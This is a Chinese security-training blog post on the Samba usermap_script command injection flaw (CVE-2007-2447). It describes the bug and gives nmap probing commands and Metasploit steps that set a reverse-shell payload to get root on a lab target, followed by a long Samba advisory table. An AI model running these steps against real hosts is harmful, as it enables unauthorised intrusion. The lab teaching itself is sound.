4.9、漏洞利用 smb-RCE远程命令执行

已于 2022-11-13 11:17:59 修改
阅读量2.2k 收藏
点赞数
分类专栏： 网络安全训练营 文章标签： 网络安全
于 2022-11-12 12:54:44 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zwm_20211031_475/article/details/127757223
版权

目录

1、samba服务介绍

2、漏洞相关信息

3、探测samba

4、metasploit利用

5、samba历年漏洞

1、samba服务介绍

1.1 samba是在Linux和UNIX系统上实现SMB协议的一个免费软件，由服务器及客户端程序构成。

1.2 SMB（Server Messages Block，信息服务块）是一种在局域网上共享文件和打印机的一种通信协议，它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器(C/S）型协议，客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。

1.3 samba监听的端口
TCP：139、445。tcp 端口相对应的服务是 smbd 服务，其作用是提供对服务器中文件、打印资源的共享访问。
UDP：137、138。udp 端口相对应的服务是 nmbd 服务，其作用是提供基于 NetBIOS 主机名称的解析。

更多参考：Samba 服务详解_公博义的博客-CSDN博客_samba

2、漏洞相关信息

2.1 关于Samba服务的usermap_script安全漏洞相关信息：
Username map script（用户名映射脚本）是Samba协议的一个漏洞（CVE-2007-2447），始披露于2007年。属于远程命令注入漏洞，主要影响Samba的3.0.20到3.0.25rc3 版本。

2.2 漏洞描述：

Samba在处理用户数据时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时，通过对/bin/sh的MS-RPC调用提交了恶意输入的话，就可能允许攻击者以nobody用户的权限执行任意命令。

相关参考：

阿里云漏洞库

https://www.cnvd.org.cn/flaw/show/CNVD-2007-3296

NVD - CVE-2007-2447

2.3 解决方案：

更新到高版本

3、探测samba

使用nmap探测

nmap -sV -p 139,445 ip

4、metasploit利用

使用metasploit内集成的samba usermap RCE脚本：
exploit/multi/samba/usermap_script

use exploit/multi/samba/usermap_script

show options

set rhosts 192.168.106.132

 使用payload进行攻击

show payloads

set payload cmd/unix/reverse

show options

exploit

 成功获取靶机root权限，CTRL+C退出

5、samba历年漏洞

参考 ：

Samba - Security Updates and Information

阿里云漏洞库

Samba安全发布
发布日期下载已知问题受影响的版本CVE ID #细节
25 October 2022patch for Samba 4.17.2
patch for Samba 4.16.6
patch for Samba 4.15.11		CVE-2022-3437 and CVE-2022-3592. Please see announcements for details.Please refer to the advisories.CVE-2022-3437, CVE-2022-3592.Announcement, Announcement.
27 July 2022patch for Samba 4.16.4
patch for Samba 4.15.9
patch for Samba 4.14.14		CVE-2022-2031, CVE-2022-32742, CVE-2022-32744, CVE-2022-32745 and CVE-2022-32746. Please see announcements for details.Please refer to the advisories.CVE-2022-2031, CVE-2022-32742, CVE-2022-32744, CVE-2022-32745, CVE-2022-32746.Announcement, Announcement, Announcement, Announcement, Announcement.
31 January 2022patch for Samba 4.15.5
patch for Samba 4.14.12
patch for Samba 4.13.17		CVE-2021-44141, CVE-2021-44142 and CVE-2022-0336. Please see announcements for details.Please refer to the advisories.CVE-2021-44141, CVE-2021-44142, CVE-2022-0336.Announcement, Announcement, Announcement.
10 January 2022patch for Samba 4.13.16Symlink race error can allow directory creation outside of the exported share.All versions of the Samba file server prior to 4.13.16CVE-2021-43566.Announcement.
9 November 2021patch for Samba 4.15.1
patch for Samba 4.14.9
patch for Samba 4.13.13		CVE-2016-2124, CVE-2020-25717, CVE-2020-25718, CVE-2020-25719, CVE-2020-25721, CVE-2020-25722, CVE-2021-3738 and CVE-2021-23192. Please see announcements for details.Please refer to the advisories.CVE-2016-2124, CVE-2020-25717, CVE-2020-25718, CVE-2020-25719, CVE-2020-25721, CVE-2020-25722, CVE-2021-3738, CVE-2021-23192.Announcement, Announcement, Announcement, Announcement, Announcement, Announcement, Announcement, Announcement.
29 Apr 2021patch for Samba 4.14.3
patch for Samba 4.13.7
patch for Samba 4.12.14		Negative idmap cache entries can cause incorrect group entries in the Samba file server process token.All versions since 3.6.0.CVE-2021-20254Announcement
24 Mar 2021patch for Samba 4.14.0
patch for Samba 4.13.5
patch for Samba 4.12.12		CVE-2020-27840 and CVE-2021-20277. Please see announcements for details.Please refer to the advisories.CVE-2020-27840, CVE-2021-20277.Announcement, Announcement.
29 Oct 2020patch for Samba 4.13.0
patch for Samba 4.12.8
patch for Samba 4.11.14		CVE-2020-14318, CVE-2020-14323 and CVE-2020-14383. Please see announcements for details.Please refer to the advisories.CVE-2020-14318, CVE-2020-14323 CVE-2020-14383.Announcement, Announcement, Announcement.
18 Sep 2020patch for Samba 4.12.6
patch for Samba 4.11.12
patch for Samba 4.10.17		CVE-2020-1472. Please see announcements for details.Please refer to the advisory.CVE-2020-1472.Announcement,
02 Jul 2020patch for Samba 4.12.3
patch for Samba 4.11.10
patch for Samba 4.10.16		CVE-2020-10730, CVE-2020-10745, CVE-2020-10760 and CVE-2020-14303. Please see announcements for details.Please refer to the advisories.CVE-2020-10730, CVE-2020-10745, CVE-2020-10760, CVE-2020-14303.Announcement, Announcement, Announcement, Announcement
28 Apr 2020patch for Samba 4.12.1
patch for Samba 4.11.7
patch for Samba 4.10.14		CVE-2020-10700 and CVE-2020-10704. Please see announcements for details.Please refer to the advisories.CVE-2020-10700, CVE-2020-10704.Announcement, Announcement
21 Jan 2020patch for Samba 4.11.4
patch for Samba 4.10.11
patch for Samba 4.9.17		CVE-2019-14902, CVE-2019-14907 and CVE-2019-19344. Please see announcements for details.Please refer to the advisories.CVE-2019-14902, CVE-2019-14907, CVE-2019-19344..Announcement, Announcement, Announcement
10 Dec 2019patch for Samba 4.11.2
patch for Samba 4.10.10
patch for Samba 4.9.16		CVE-2019-14861 and CVE-2019-14870. Please see announcements for details.All versions since Samba 4.0CVE-2019-14861, CVE-2019-14870.Announcement, Announcement
29 Oct 2019patch for Samba 4.11.1
patch for Samba 4.10.9
patch for Samba 4.9.14		CVE-2019-10218, CVE-2019-14833 and CVE-2019-14847. Please see announcements for details.please refer to the advisoriesCVE-2019-10218, CVE-2019-14833, CVE-2019-14847Announcement, Announcement, Announcement
03 Sep 2019patch for Samba 4.10.7
patch for Samba 4.9.12		Combination of parameters and permissions can allow user to escape from the share path definition.All versions between Samba 4.9.0 and 4.9.12/4.10.7 (incl.).CVE-2019-10197Announcement
19 Jun 2019patch for Samba 4.10.4 (both CVEs)
patch for Samba 4.9.8 (CVE-2019-12435 only)		CVE-2019-12435 and CVE-2019-12436. Please see the announcements for details.please refer to the advisoriesCVE-2019-12435, CVE-2019-12436Announcement, Announcement
14 May 2019patch for Samba 4.10.2
patch for Samba 4.9.7
patch for Samba 4.8.11		CVE-2018-16860. Please see the announcements for details.All versions of Samba prior to 4.10.3, 4.9.8, 4.8.12.CVE-2018-16860Announcement
08 Apr 2019patch for Samba 4.10.1 (both CVEs)
patch for Samba 4.9.5 (both CVEs)
patch for Samba 4.8.10 (CVE-2019-3880 only)		CVE-2019-3870 and CVE-2019-3880. Please see the announcements for details.please refer to the advisoriesCVE-2019-3870, CVE-2019-3880Announcement, Announcement
27 Nov 2018patch for Samba 4.9.2 (all CVEs)
patch for Samba 4.8.6 (all CVEs except CVE-2018-16852 and CVE-2018-16857)
patch for Samba 4.7.11 (all CVEs except CVE-2018-16852 and CVE-2018-16857)		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2018-14629, CVE-2018-16841, CVE-2018-16851, CVE-2018-16852, CVE-2018-16853, CVE-2018-16857Announcement, Announcement, Announcement, Announcement, Announcement, Announcement
14 Aug 2018patch for Samba 4.8.3 (all CVEs)
patch for Samba 4.7.8 (all CVEs except CVE-2018-1140)
patch for Samba 4.6.15 (CVE-2018-10858 and CVE-2018-10919)		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2018-10858, CVE-2018-10918, CVE-2018-10919, CVE-2018-1139, CVE-2018-1140Announcement, Announcement, Announcement, Announcement, Announcement
13 Mar 2018patch for Samba 4.7.5
patch for Samba 4.6.13
patch for Samba 4.5.15
patch for Samba 4.4.16 (only CVE-2018-1057)
patch for Samba 4.3.13 (only CVE-2018-1057)		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2018-1050, CVE-2018-1057Announcement, Announcement
21 Nov 2017patch for Samba 4.7.2
patch for Samba 4.6.10
patch for Samba 4.5.14		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2017-14746, CVE-2017-15275Announcement, Announcement
20 Sep 2017patch for Samba 4.6.7
patch for Samba 4.5.13
patch for Samba 4.4.15		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2017-12150, CVE-2017-12151, CVE-2017-12163Announcement, Announcement, Announcement
12 July 2017patch for Samba 4.x.yOrpheus' Lyre mutual authentication validation bypass.All versions between Samba 4.0.0 and 4.6.6/4.5.12/4.4.15CVE-2017-11103Announcement
24 May 2017patch for Samba 4.6.3, 4.5.9, 4.4.13Remote code execution from a writable share.All versions between Samba 3.5.0 and 4.6.4/4.5.10/4.4.14CVE-2017-7494Announcement
23 Mar 2017patch for Samba 4.6.0
patch for Samba 4.5.6
patch for Samba 4.4.11		Symlink race allows access outside share definition.All versions of Samba prior to 4.6.1, 4.5.7, 4.4.12CVE-2017-2619Announcement
19 Dec 2016patch for Samba 4.5.2
patch for Samba 4.4.7
patch for Samba 4.3.12		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2016-2123, CVE-2016-2125, CVE-2016-2126Announcement, Announcement, Announcement
07 Jul 2016patch for Samba 4.4.4
patch for Samba 4.3.10
patch for Samba 4.2.13		Client side SMB2/3 required signing can be downgraded.4.0.0 - 4.4.4CVE-2016-2119Announcement
12 Apr 2016patch for Samba 4.4.0
patch for Samba 4.3.6
patch for Samba 4.2.9
patch for Samba 4.0.26 (fileserver only! no client! no domain controller!)
patch for Samba 3.6.25 (only related CVEs)		Numerous CVEs. Please see the announcements for details.please refer to the advisoriesCVE-2015-5370, CVE-2016-2110, CVE-2016-2111, CVE-2016-2112, CVE-2016-2113, CVE-2016-2114, CVE-2016-2115, CVE-2016-2118Announcement Announcement Announcement Announcement Announcement Announcement Announcement Announcement
08 Mar 2016patch for Samba 4.3.5
patch for Samba 4.2.8
patch for Samba 4.1.22		Incorrect ACL get/set allowed on symlink path, Out-of-bounds read in internal DNS server.please refer to the advisoriesCVE-2015-7560, CVE-2016-0771,Announcement Announcement
16 Dec 2015patch for Samba 4.3.2
patch for Samba 4.2.6
patch for Samba 4.1.21
patch for Samba 3.6.25		Numerous CVEs. Please see the announcements for details.3.0.0 to 4.3.2CVE-2015-3223, CVE-2015-5252, CVE-2015-5296, CVE-2015-5299, CVE-2015-5330, CVE-2015-7540, CVE-2015-8467Announcement Announcement Announcement Announcement Announcement Announcement Announcement
23 Feb 2015patch for Samba 4.1.16
patch for Samba 4.0.24
patch for Samba 3.6.24
patch for Samba 3.5.22		Unexpected code execution in smbd.3.5.0 - 4.2.0rc4CVE-2015-0240Announcement
15 Jan 2015patch for Samba 4.1.15
patch for Samba 4.0.23		Elevation of privilege to Active Directory Domain Controller.4.0.0 - 4.1.15CVE-2014-8143Announcement
01 Aug 2014patch for Samba 4.1.10
patch for Samba 4.0.20		Remote code execution in nmbd.4.0.0 - 4.1.10CVE-2014-3560Announcement
23 Jun 2014patch for Samba 4.1.8
patch for Samba 4.0.18
patch for Samba 3.6.23		Denial of service - CPU loop, Denial of service - Server crash/memory corruption.please refer to the advisoriesCVE-2014-0244, CVE-2014-3493Announcement Announcement
03 June 2014patch for Samba 4.0.17
patch for Samba 4.1.7
patch for Samba 3.6.23 (CVE-2014-0178 only)		Uninitialized memory exposure, Potential DOS in Samba internal DNS server.please refer to the advisoriesCVE-2014-0178, CVE-2014-0239Announcement Announcement
11 Mar 2014patch for Samba 4.1.5
patch for Samba 4.0.15
patch for Samba 3.6.22		Password lockout not enforced for SAMR password changes, smbcacls can remove a file or directory ACL by mistake.please refer to the advisoriesCVE-2013-4496, CVE-2013-6442Announcement Announcement
09 Dec 2013patch for Samba 4.1.2
patch for Samba 4.0.12
patch for Samba 3.6.21
patch for Samba 3.5.22
patch for Samba 3.4.17		DCE-RPC fragment length field is incorrectly checked, pam_winbind login without require_membership_of restrictions.please refer to the advisoriesCVE-2013-4408, CVE-2012-6150Announcement Announcement
11 Nov 2013patch for Samba 4.1.0
patch for Samba 4.0.10
patch for Samba 3.6.19		ACLs are not checked on opening an alternate data stream on a file or directory, Private key in key.pem world readable.3.2.0 - 4.1.0, 4.0.0 - 4.0.10, 4.1.0CVE-2013-4475, CVE-2013-4476Announcement Announcement
05 Aug 2013patch for Samba 4.0.7
patch for Samba 3.6.16
patch for Samba 3.5.21		Denial of service - CPU loop and memory allocation.3.0.x-4.0.7CVE-2013-4124Announcement
02 Apr 2013patch for Samba 3.6.5A writable configured share might get read only3.6.0 - 3.6.5 (inclusive)CVE-2013-0454Announcement
19 Mar 2013patch for Samba 4.0.3World-writeable files may be created in additional shares on a Samba 4.0 AD DC.4.0.0rc6-4.0.3CVE-2013-1863Announcement
30 Jan 2013patch for Samba 4.0.1
patch for Samba 3.6.11
patch for Samba 3.5.20		Clickjacking issue and potential XSRF in SWAT.3.0.x-4.0.1CVE-2013-0213, CVE-2013-0214Announcement Announcement
15 Jan 2013patch for Samba 4.0.0Samba 4.0 as an AD DC may provide authenticated users with write access to LDAP directory objects.4.0.0CVE-2013-0172Announcement
30 Apr 2012patch for Samba 3.4.16
patch for Samba 3.5.14
patch for Samba 3.6.4		Incorrect permission checks when granting/removing privileges can compromise file server security.3.4.x-3.6.4CVE-2012-2111Announcement
10 Apr 2012patch for Samba 3.0.37
patch for Samba 3.2.15
patch for Samba 3.3.16
patch for Samba 3.4.15
patch for Samba 3.5.13
patch for Samba 3.6.3		"root" credential remote code executionall current releasesCVE-2012-1182Announcement
23 Feb 2012patch for Samba 3.0
patch for Samba 3.2
patch for Samba 3.3		Remote code execution vulnerability in smbdpre-3.4CVE-2012-0870Announcement
29 Jan 2012patch for Samba 3.6.2Memory leak/Denial of service3.6.0-3.6.2CVE-2012-0817Announcement
26 Jul 2011patch for Samba 3.3.15
patch for Samba 3.4.13
patch for Samba 3.5.9		Cross-Site Request Forgery in SWATall current releasesCVE-2011-2522Announcement
26 Jul 2011patch for Samba 3.3.15
patch for Samba 3.4.13
patch for Samba 3.5.9		Cross-Site Scripting vulnerability in SWATall current releasesCVE-2011-2694Announcement
18 Feb 2011patch for Samba 3.3.14
patch for Samba 3.4.11
patch for Samba 3.5.6		Denial of service - memory corruptionall current releasesCVE-2011-0719Announcement
14 Sep 2010patch for Samba 3.3.13
patch for Samba 3.4.8
patch for Samba 3.5.4		Buffer Overrun Vulnerabilityall current releasesCVE-2010-3069Announcement
16 Jun 2010patch for Samba 3.3.12 and 3.2.15
patch for Samba 3.0.37		Memory Corruption Vulnerability3.0.x, 3.2.x, 3.3.0-3.3.12CVE-2010-2063Announcement
08 Mar 2010patch for Samba 3.5.0
patch for Samba 3.4.6
patch for Samba 3.3.11		Permission ignored3.3.11, 3.4.6, 3.5.0CVE-2010-0728Announcement
02 Feb 2010not availableChange parameter "wide links" to default to "no"pre-3.4.6CVE-2010-0926Announcement
01 Oct 2009patch 1 for Samba 3.4.1  patch 2 for Samba 3.4.1  patch 1 for Samba 3.3.7  patch 2 for Samba 3.3.7  patch 1 for Samba 3.2.14  patch 2 for Samba 3.2.14  patch 1 for Samba 3.0.36  patch 2 for Samba 3.0.36Information disclosure by setuid mount.cifsall releasesCVE-2009-2948Announcement
01 Oct 2009patch for Samba 3.4.1
patch for Samba 3.3.7
patch for Samba 3.2.14
patch for Samba 3.0.36		Remote DoS against smbd on authenticated connectionsall releasesCVE-2009-2906Announcement
01 Oct 2009patch for Samba 3.4.1
patch for Samba 3.3.7
patch for Samba 3.2.14
patch for Samba 3.0.36		Misconfigured /etc/passwd file may share folders unexpectedly> 3.0.11CVE-2009-2813Announcement
23 Jun 2009patch for Samba 3.3.5
patch for Samba 3.2.12
patch for Samba 3.0.34		Uninitialized read of a data valueSamba 3.0.31 - 3.3.5CVE-2009-1888Announcement
23 Jun 2009patch for Samba 3.2.12Formatstring vulnerability in smbclientSamba 3.2.0 - 3.2.12CVE-2009-1886Announcement
05 Jan 2009patch for Samba 3.2.6Potential access to "/" in setups with registry shares enabledSamba 3.2.0 - 3.2.6CVE-2009-0022Announcement
27 Nov 2008patch for Samba 3.0.32  patch for Samba 3.2.4Potential leak of arbitrary memory contentsSamba 3.0.29 - 3.2.4CVE-2008-4314Announcement
27 Aug 2008patch 1 for Samba 3.2.2  patch 2 for Samba 3.2.2Wrong permissions of group_mapping.ldbSamba 3.2.0 - 3.2.2CVE-2008-3789Announcement
29 May 2008patch for Samba 3.0.29Boundary failure when parsing SMB responsesSamba 3.0.0 - 3.0.29CVE-2008-1105Announcement
10 Dec 2007patch for Samba 3.0.27aRemote Code Execution in Samba's nmbd (send_mailslot())Samba 3.0.0 - 3.0.27aCVE-2007-6015Announcement
15 Nov 2007patch for Samba 3.0.26aRemote Code Execution in Samba's nmbdSamba 3.0.0 - 3.0.26aCVE-2007-5398Announcement
15 Nov 2007patch for Samba 3.0.26aGETDC mailslot processing buffer overrun in nmbdSamba 3.0.0 - 3.0.26aCVE-2007-4572Announcement
11 Sep 2007patch for Samba 3.0.25Incorrect primary group assignment for users using the rfc2307 or sfu nss info plugin.Samba 3.0.25 - 3.0.25cCVE-2007-4138Announcement
14 May 2007patch for Samba 3.0.24Remote Command Injection Vulnerability (Updated June 5 to include missing "c" character from INCLUDE list).Samba 3.0.0 - 3.0.25rc3CVE-2007-2447Announcement
14 May 2007patch for Samba 3.0.24Multiple Heap Overflows Allow Remote Code Execution (Updated May 25 to fix regression in Samba domain controller logon code).Samba 3.0.0 - 3.0.25rc3CVE-2007-2446Announcement
14 May 2007patch for Samba 3.0.24Local SID/Name translation bug can result in user privilege elevation (Updated May 25 to fix regression in the "force group" parameter).Samba 3.0.23d - 3.0.25pre2CVE-2007-2444Announcement
5 Feb 2007patch for Samba 3.0.23dPotential Denial of Service bug in smbdSamba 3.0.6 - 3.0.23dCVE-2007-0452Announcement
5 Feb 2007patch for Samba 3.0.23dBuffer overrun in NSS host lookup Winbind library on SolarisSamba 3.0.21 - 3.0.23dCVE-2007-0453Announcement
5 Feb 2007patch for Samba 3.0.23dFormat string bug in afsacl.so VFS pluginSamba 3.0.6 - 3.0.23dCVE-2007-0454Announcement
10 July 2006patch for Samba 3.0.1 - 3.0.22Memory exhaustion DoS against smbdSamba 3.0.1 - 3.0.22CVE-2006-3403Announcement
30 March 2006patch for Samba 3.0.21[a-c]Exposure of machine account credentials in winbind log filesSamba 3.0.21 - 3.0.21cCVE-2006-1059Announcement
16 December 2004patch for Samba 3.0.9Integer Overflow in security descriptor parsingSamba 2.x, 3.0.x <= 3.0.9CVE-2004-1154Announcement
15 November 2004patch for <=Samba 3.0.7Buffer Overrun in smbdSamba 3.0.x <= 3.0.7CVE-2004-0882Announcement
8 November 2004patch for <=Samba 3.0.7Remote DoSSamba 3.0.x <= 3.0.7CVE-2004-0930Announcement
30 September 2004Samba 2.2.12 and/or patch for <=Samba 3.0.2aPotential arbitrary file accessSamba 2.2.x <=2.2.11 and Samba 3.0.x <=3.0.2aCVE-2004-0815Announcement
13 Sept 20043.0.5 patchTwo DoS bugs; one affecting smbd, the other nmbd.3.0.x <= 3.0.6CVE-2004-0807, CVE-2004-0808Announcement
22 Jul 20043.0.5Two potential buffer overruns>=3.0.2CVE-2004-0600, CVE-2004-0686CVE-2004-0600 Announcement CVE-2004-0686 Announcement
22 Jul 20042.2.10Buffer overrun in hash mangling methodall 2.2 releasesCVE-2004-0686release notes
9 Feb 20043.0.2aPassword initialization bug that could grant an attacker unauthorized access to a user account created by the mksmbpasswd.sh shell script.>=3.0.0CVE-2004-0082Announcement
7 Apr 20032.2.8aBuffer overrun condition in the SMB/CIFS packet fragment re-assembly code.all 2.0 releases and <= 2.2.8CVE-2003-0196, CVE-2003-0201release notes
10 Dec 20022.2.7aBug in the length checking for encrypted password change requests from clients.2.2.2 - 2.2.6CVE-2003-0085release notes
23 Jun 20012.2.0aBug in expansion of certain smb.conf variables such as %m that could grant an attacker the capability to overwrite arbitrary files on the server. Bug that causes smbd not to honor the hosts allow and deny smb.conf directives.2.2.0release notes
23 Jun 20012.0.10Bug in the handling of temporary files that allows local users to destroy data on local devices.>= 2.0.0release notes
c10udy_
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
NGINX-RCE:nginx的rce漏洞利用
04-04
NGINX-RCE nginx的rce漏洞利用 怎么运行呢？ 首先只需使用gcc gcc expl0itz.c -o expl0itz 然后chmod chmod +x expl0itz 像二进制文件一样运行之后！ ./expl0itz
fastjson-rce-exploit:利用fastjson远程执行代码漏洞
03-15
fastjson-rce-exploit poc for fastjson远程执行代码漏洞
弱口令(Weak Password)总结和爆破工具
最新发布
ZL_1618的博客
04-27 891
网站管理、运营人员由于安全意识不足，为了方便、避免忘记密码等，使用了非常容易记住的密码，或者是直接采用了系统的默认密码等。攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。弱口令(weak password)没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。
第30天：WEB漏洞-RCE代码及命令执行漏洞全解1
08-03
WEB 漏洞-RCE 代码及命令执行漏洞全解在 Web 应用中有时候程序员为了考虑灵活性、简洁性，会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将
文件共享服务的一些安全点
qq_44005305的博客
08-23 385
文件共享是大家常用的一种功能，其实在win中的共享功能都是通过smb协议来完成。接下来看看文件共享有哪些需要注意的安全点，本文仅做一次记录，方便后续查看。
SMB信息泄露的利用
Scalzdp的专栏
11-17 755
SMB的协议出现较早，应用较广泛，但是早期计算机协议注重应用的快速建立，而对安全的要求并不太严格，所以很多较老的设备使用了存在漏洞的SMB协议，就会存在安全隐患。我们在SMB漏洞的利用中，主要还是基于msf提供的一些payload，这些payload其实都是别人做好了的，所以用起来特别方便，也从另一个方面反映如果有人要攻击利用SMB漏洞其实也很方便，所以我们在计算机安全防护上还需进行更多的考虑，必要的安全设置应该保留，不要为了一时方便，关闭所有安全防护的护盾。
未授权漏洞
qq_39541626的博客
03-16 1334
https://www.cnblogs.com/KevinGeorge/p/8921133.html 访问控制类漏洞与隐患 这一类漏洞与隐患属于访问控制与身份鉴别问题，一般有没有配置访问控制、访问控制弱（弱口令或者空口令），身份鉴别可以绕过等问题 漏洞协议组件 漏洞类型 漏洞评级 SSH 弱口令 严重 RDP 未授权、弱口令 严重 SMB 未授权（共享直接访问，不验证）、弱口令 严...
永恒之蓝windows7:445端口漏洞
weixin_43836806的博客
07-13 8323
首先我们来了解一下windows下445端口的作用，445端口是SMB服务端口。 SMB是一个协议名，全称是Server Message Block（服务器消息快协议），用于在计算机间共享文件、打印机、串口等，电脑上的网上邻居由它实现。是应用层（和表示层）协议，使用C/S架构，其工作的端口与其使用的协议有关。 当远程连接计算机访问共享资源时有两种方式： \\共享计算机地址\共IP享资源路径 \\共享计算机名\共享资源路径 ...
linux samba 不安全,Samba 不安全权限未授权访问漏洞(CVE-2013-1863)
weixin_34024555的博客
05-16 646
发布日期：2013-03-20更新日期：2013-03-21受影响系统：Samba Samba 4.x描述：--------------------------------------------------------------------------------BUGTRAQ ID: 58596CVE(CAN) ID: CVE-2013-1863Samba是一套实现SMB(Server M...
EternalBlue【永恒之蓝】漏洞详解（复现、演示、远程、后门、入侵、防御）内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏！
m0_73734159的博客
12-26 5440
2017年永恒之蓝漏洞，编号为ms17漏洞。现在只有一些低版本的电脑没有打ms17_010的补丁，windows7 以上版本几乎都没有这个漏洞了。虽然如此，此漏洞非常经典，现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。让大家可以对网络安全更加重视，网络安全刻不容缓，让我们为国家网络安全的建设共同努力！
SMB服务远程代码执行漏洞（CVE-2020-0796）加固指南
乐大厨串串香飘万里
10-24 2967
1SMB服务远程代码执行漏洞（CVE-2020-0796）高Windows。
SMB信息泄露和渗透学习
qq_44813849的博客
06-08 2889
SMB信息泄露 SMB协议，计算机可以访问网络资源，下载对应的资源文件。 先通过ifcongig命令找到攻击机IP：192.168.174.128 然后扫出靶机IP：192.168.174.129 使用：nmap -sV 192.168.174.129命令，通过扫描，我们可以看到靶机开放了smb服务 尝试使用空口令登录（提示输入密码直接空密码回车） 发现一个打印驱动、一个共享文件夹share$和一...
西部数据NAS设备网络攻击通告
爱国小白帽
06-28 968
报告编号：B6-2021-062805 报告来源：360CERT 报告作者：360CERT 更新日期：2021-06-28 0x01 事件描述 2021年06月28日，360CERT监测发现Western Digital发布了Recommended Security Measures for WD My Book Live and WD My Book Live Duo的通告。西部数据已经确定，该公司的 My Book Live 设备遭到了攻击者的入侵，这种入侵会导致设备被恢复出厂设置，数据也被全部擦除.
网络安全之渗透实战学习
Innocence_0的博客
10-16 1102
对于SCF文件攻击，我们也可以通过下列方法来防止这种攻击的发生：1、使用Kerbeors认证或SMB签名；2、禁用共享文件给未认证用户所提供的写入权限；3、确保使用的是NTLMv2密码并增加口令的复杂程度。
未授权访问漏洞总结
weixin_45439698的博客
07-29 5863
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。 常见的未授权访问漏洞 1.MongoDB 未授权访问漏洞 2.Redis 未授权访问漏洞 3.Memcached 未授权访问漏洞CVE-2013-7239 4.JBOSS 未授权访问漏洞 5.VNC 未授权访问漏洞 6.Docker 未授权访问漏...
Windows服务器关于SMB签名未配置的漏洞处理
企业实战系列集 ●●● https://ximenjianxue.blog.csdn.net
07-24 3553
SMB签名旨在帮助提高SMB协议的安全性，为了防止在传输过程中修改SMB数据包，SMB协议支持SMB数据包的数字签名。要利用SMB数据包签名，通信中涉及的客户端SMB组件和服务器端SMB组件必须启用或需要SMB数据包签名。当启用SMB签名时，SMB将停止使用RDMA远程直接数据存取，因为最大MTU限制为1,394字节，这会导致邮件碎片和重组，并降低整体性能。SMB签名未配置漏洞是指远程SMB服务器上未配置需要签名，这将导致未经身份验证的远程攻击者可以利用此漏洞对SMB服务器进行中间人攻击。...
CTF-SMB信息泄露【简单易懂】
不知名白帽的博客
08-17 2767
CTF-SMB信息泄露【简单易懂】
需要SMB签名的漏洞解决方案
spring_is_coming的博客
10-21 2224
SMB签名漏洞
CVE-2017-15715漏洞和SSI-RCE漏洞。
07-27
CVE-2017-15715是一个存在于Apache Tomcat软件中的漏洞，该漏洞使得攻击者可以通过发送特制的HTTP请求，触发目标服务器上的远程代码执行。这个漏洞的影响范围是Tomcat 9.0.0.M1到9.0.0.M28版本（不包括9.0.0.M9版本）。如果目标服务器受到此漏洞的影响，攻击者可以利用它执行任意代码，可能导致敏感信息泄露或服务器完全被控制。 SSI-RCE漏洞是一种服务器端包含（SSI）漏洞，可能导致远程命令执行。SSI是一种服务器端处理动态内容的技术，它允许将外部文件包含到网页中。如果服务器未正确配置和过滤用户提供的输入，攻击者可以通过注入恶意代码来执行任意命令。这种漏洞可能会导致服务器被完全控制，从而造成数据泄露、服务拒绝或其他恶意行为。 请注意，对于具体的漏洞信息和修复建议，请查阅相应漏洞的CVE编号或相关安全公告以获取更准确和详细的信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值